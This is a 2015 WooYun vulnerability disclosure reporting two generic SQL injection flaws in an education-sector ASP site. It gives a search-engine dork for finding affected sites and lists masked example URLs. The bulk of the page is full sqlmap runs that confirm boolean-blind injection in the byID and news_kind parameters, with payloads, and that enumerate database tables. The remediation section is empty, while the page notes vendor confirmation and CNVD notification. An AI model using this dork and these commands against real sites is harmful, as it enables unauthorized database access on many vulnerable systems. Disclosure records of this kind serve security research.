当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0143935

漏洞标题:某教育单位系统存在两处通用sql注入

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-10-06 23:16

修复时间:2016-01-11 15:32

公开时间:2016-01-11 15:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-06: 细节已通知厂商并且等待厂商处理中
2015-10-12: 厂商已经确认,细节仅向厂商公开
2015-10-15: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-06: 细节向核心白帽子及相关领域专家公开
2015-12-16: 细节向普通白帽子公开
2015-12-26: 细节向实习白帽子公开
2016-01-11: 细节向公众公开

简要描述:

rt。

详细说明:

搜索引擎关键字:
inurl:NewShow.asp?byID=

QQ图片20150928180143.png

漏洞证明:

随机挑选部分案例(单引号直接报错):
http://**.**.**.**/newShow.asp?byID=1540
http://**.**.**.**/NewShow.asp?byID=927
http://**.**.**.**/NewShow.asp?byID=313
http://**.**.**.**/NewShow.asp?byID=1431
http://**.**.**.**/Newshow.asp?byID=597


[root@Hacker~]# Sqlmap -u http://**.**.**.**/newShow.asp?byID=1540
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:16:54
[10:16:54] [INFO] testing connection to the target url
[10:16:54] [INFO] testing if the url is stable, wait a few seconds
[10:16:55] [WARNING] url is not stable, sqlmap will base the page comparison on
a sequence matcher. If no dynamic nor injectable parameters are detected, or in
case of junk results, refer to user's manual paragraph 'Page comparison' and pro
vide a string or regular expression to match on
how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit]
[10:16:56] [INFO] testing if GET parameter 'byID' is dynamic
[10:16:56] [INFO] confirming that GET parameter 'byID' is dynamic
[10:16:56] [WARNING] GET parameter 'byID' appears to be not dynamic
[10:16:56] [WARNING] reflective value(s) found and filtering out
[10:16:56] [INFO] heuristic test shows that GET parameter 'byID' might be inject
able (possible DBMS: Microsoft Access)
[10:16:56] [INFO] testing for SQL injection on GET parameter 'byID'
[10:16:56] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:16:57] [INFO] GET parameter 'byID' is 'AND boolean-based blind - WHERE or HA
VING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[10:16:58] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:16:58] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[10:17:01] [INFO] checking if the injection point on GET parameter 'byID' is a f
alse positive
GET parameter 'byID' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N] y
sqlmap identified the following injection points with a total of 30 HTTP(s) requ
ests:
---
Place: GET
Parameter: byID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: byID=1540 AND 3861=3861
---
[10:17:02] [INFO] testing Microsoft Access
[10:17:02] [INFO] confirming Microsoft Access
[10:17:02] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:17:02] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 30 times
[10:17:02] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:17:02] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 10:17:02
[root@Hacker~]# Sqlmap -u http://**.**.**.**/newShow.asp?byID=1540 --tables
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:17:06
[10:17:06] [INFO] resuming back-end DBMS 'microsoft access'
[10:17:06] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: byID
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: byID=1540 AND 3861=3861
---
[10:17:07] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:17:07] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[10:17:07] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[10:17:07] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:17:07] [INFO] retrieved:
[10:17:07] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[10:17:07] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[10:17:07] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[10:17:09] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:17:09] [INFO] checking table existence using items from 'C:\Users\ADMINI~1\D
esktop\???~1\SQLMAP~1\Bin\txt\common-tables.txt'
[10:17:09] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[10:17:10] [INFO] starting 10 threads
[10:17:10] [INFO] tried 10/3147 items (0%)
[10:17:10] [WARNING] reflective value(s) found and filtering out
[10:17:14] [INFO] retrieved: news
[10:17:36] [INFO] retrieved: job
[10:17:38] [INFO] retrieved: member
[10:18:13] [INFO] tried 1088/3147 items (35%)


http://**.**.**.**/News.asp?news_kind=1271
http://**.**.**.**/News.asp?news_kind=1363
http://**.**.**.**/News.asp?news_kind=1288
http://**.**.**.**/News.asp?news_kind=1284
http://**.**.**.**/news.asp?news_kind=1267


[root@Hacker~]# Sqlmap -u http://**.**.**.**/News.asp?news_kind=1271
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:21:21
[10:21:21] [INFO] testing connection to the target url
[10:21:21] [INFO] testing if the url is stable, wait a few seconds
[10:21:22] [INFO] url is stable
[10:21:22] [INFO] testing if GET parameter 'news_kind' is dynamic
[10:21:22] [INFO] confirming that GET parameter 'news_kind' is dynamic
[10:21:23] [WARNING] GET parameter 'news_kind' appears to be not dynamic
[10:21:23] [WARNING] reflective value(s) found and filtering out
[10:21:23] [INFO] heuristic test shows that GET parameter 'news_kind' might be i
njectable (possible DBMS: Microsoft Access)
[10:21:23] [INFO] testing for SQL injection on GET parameter 'news_kind'
[10:21:23] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[10:21:24] [INFO] GET parameter 'news_kind' is 'AND boolean-based blind - WHERE
or HAVING clause' injectable
parsed error message(s) showed that the back-end DBMS could be Microsoft Access.
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
[10:21:27] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[10:21:27] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other potential injection technique found
[10:21:31] [INFO] target url appears to be UNION injectable with 1 columns
[10:21:32] [WARNING] if UNION based SQL injection is not detected, please consid
er and/or try to force the back-end DBMS (e.g. --dbms=mysql)
[10:21:32] [INFO] checking if the injection point on GET parameter 'news_kind' i
s a false positive
GET parameter 'news_kind' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 36 HTTP(s) requ
ests:
---
Place: GET
Parameter: news_kind
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: news_kind=1271' AND 8625=8625 AND 'pkbb'='pkbb
---
[10:21:38] [INFO] testing Microsoft Access
[10:21:38] [INFO] confirming Microsoft Access
[10:21:38] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:21:38] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 36 times
[10:21:38] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:21:38] [INFO] fetched data logged to text files under 'C:\Users\ADMINI~1\Des
ktop\???~1\SQLMAP~1\Bin\output\**.**.**.**'
[*] shutting down at 10:21:38
[root@Hacker~]# Sqlmap -u http://**.**.**.**/News.asp?news_kind=1271 --tabl
es
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://**.**.**.**
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 10:21:43
[10:21:43] [INFO] resuming back-end DBMS 'microsoft access'
[10:21:43] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: news_kind
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: news_kind=1271' AND 8625=8625 AND 'pkbb'='pkbb
---
[10:21:44] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003
web application technology: ASP.NET, Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[10:21:44] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[10:21:44] [INFO] fetching number of tables for database 'Microsoft_Access_maste
rdb'
[10:21:44] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[10:21:44] [INFO] retrieved:
[10:21:44] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' and/or switch '--hex'
[10:21:44] [WARNING] unable to retrieve the number of tables for database 'Micro
soft_Access_masterdb'
[10:21:44] [ERROR] cannot retrieve table names, back-end DBMS is Access
do you want to use common table existence check? [Y/n/q] y
[10:21:46] [WARNING] cannot properly display Unicode characters inside Windows O
S command prompt (http://**.**.**.**/issue1602). All unhandled occurances wi
ll result in replacement with '?' character. Please, find proper character repre
sentation inside corresponding output files.
[10:21:46] [INFO] checking table existence using items from 'C:\Users\ADMINI~1\D
esktop\???~1\SQLMAP~1\Bin\txt\common-tables.txt'
[10:21:46] [INFO] adding words used on web page to the check list
please enter number of threads? [Enter for 1 (current)] 10
[10:21:46] [INFO] starting 10 threads
[10:21:47] [INFO] tried 16/3137 items (1%)
[10:21:47] [WARNING] reflective value(s) found and filtering out
[10:21:50] [INFO] retrieved: news
[10:22:12] [INFO] tried 522/3137 items (17%)

修复方案:

~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:11

确认时间:2015-10-12 11:24

厂商回复:

CNVD确认并复现所述情况,已经由CNVD通过网站公开联系方式向网站管理单位通报。

最新状态:

暂无